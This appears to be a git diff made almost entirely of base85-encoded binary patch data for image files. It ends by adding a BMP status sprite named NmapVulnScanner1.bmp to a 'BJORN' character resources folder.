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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner1.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..939dc2e307a42fd6db211d3c2e3c07a6dfee2e32 GIT binary patch literal 18462 zcmd^_2Ut`|w)lPj-M2f*#2CoAiQROQQ$v%Z1VM6?jDP|nNbE#T5(N_ok~5+tQAbe` zC1)g~Btc1%!+q7=4&%&@Gs4W9ef$0IcPMVCd+zzwId!VK?v>MERM|(~L_o;}{xm=S z{ntKf^7%>Sefypqp!|_ffCBR;Z&DZx`sX73Wl#9UUEmO?`ZKqE`=I}Cwm*e+dmGx` zg0|PUH$H5w%xo@>Zp`+tzw26?XlcTs z7he@Ec4f_Xq|LWopKnc`Ye^zWbJA=R*iW8oy)xT!b*|;g9I3oI*ZeafUrHubZX}f- z1>6NxwWrT_WzWAVSs1EWns~V~H@vYjx4pf&H|{;Lt}l#z7^vmxx&X}YNF$Xb zN!^k4{>+(%tKH?1qfZi72Qrs>Zq0S1&QU6~rOpFs1?`bK+m;G0E%#;&J&fbD{Zweqq8FV zjEal|9j7Dhi^v-V9RXk=g^m-Bq}FAiC-xX+1}pT zSbn?q{?+nC{nGHg4}B#I-K72spf~!{bHmPxFmWeb&#Y|ex{-fRL0I2ZLTc<;^81z> zll94Oo+gbwO`52`0^HnP5v|NAcv9XztGu?dsht=cBTCKw=w`s$tF*bc8*}Yx3tc&j zuS!AOg8sTX+rI%4)*dj)x9r8QzkC+J-dbPUTAc&Uy*4-Se&~g+h=kXL8>J7nLIPVa zx>Oh{5MY02Q0GQzA%s;pP)aa9ASxWllSmPH79P%j!Ynmoz0Xxegm>PpUAHvyK66rI zWx8W!ZV>d#jn(&oMvtfJD#xJ3`Z1is}KKdvans-cRK9vdD1h1x%U z_~)^LL6!ts->4_8CUyv>&LW_PkTT*|Fyxoh=abgq5!d7r(clzPW9L_8L#nbP)nWV^ zoPt_BA}4vp^^j7AC^;afcqLUBQKE-oHX6o*J$*poHbw6rCxxItj}=(c(a?(F7Equ^ zS_moW!GZIH0FXL63c#tcp;TFs$}D_}OmL}VFwAidkhzpu5h`qas%(5JtbA(hC^Z zRoPIAj0lnaOv2x>34X&Oc8Eoh2|=m`>Tn2vQVoUz#DE?&jJcq^*g-a5hx7jz{7Me3 zcW>WiC*O?42Hz_xE6XktImm8`l2u{hBfFDd9VT#sLr@JSAjbe#V&;=)K%l;6l&2H& z(mv;^<{api;3TRE}VkdpMg11^K?B=l_-&RFF8vsm3Xw3gcI1MS+k8{?_M1V~)YaXgLH9 ziO6$lB9E|pS~;(;ukRW653pX3OpxLbc{Vy$-LiJUxnJb4m^ur;7MC#Si^#7T#E-({ z7~ulnF^N*~NYe_y_8nDYmkKlw2sHJ_yF}w1!h*~LaK_#k8h*}w$K)7<1rET34zkEI z@(NS2qP}5}q2bWs6_uyqLDOksz2DaMtyR8g6{6)X&n^9nS+}9Jl{G6(eJn1zAA;`p zY=;on71#|hN7<#1a-zOsKz_}{_YDKzS9G%UB7O#*77}_A$M|r@K0#*w1gA(`SRpPr 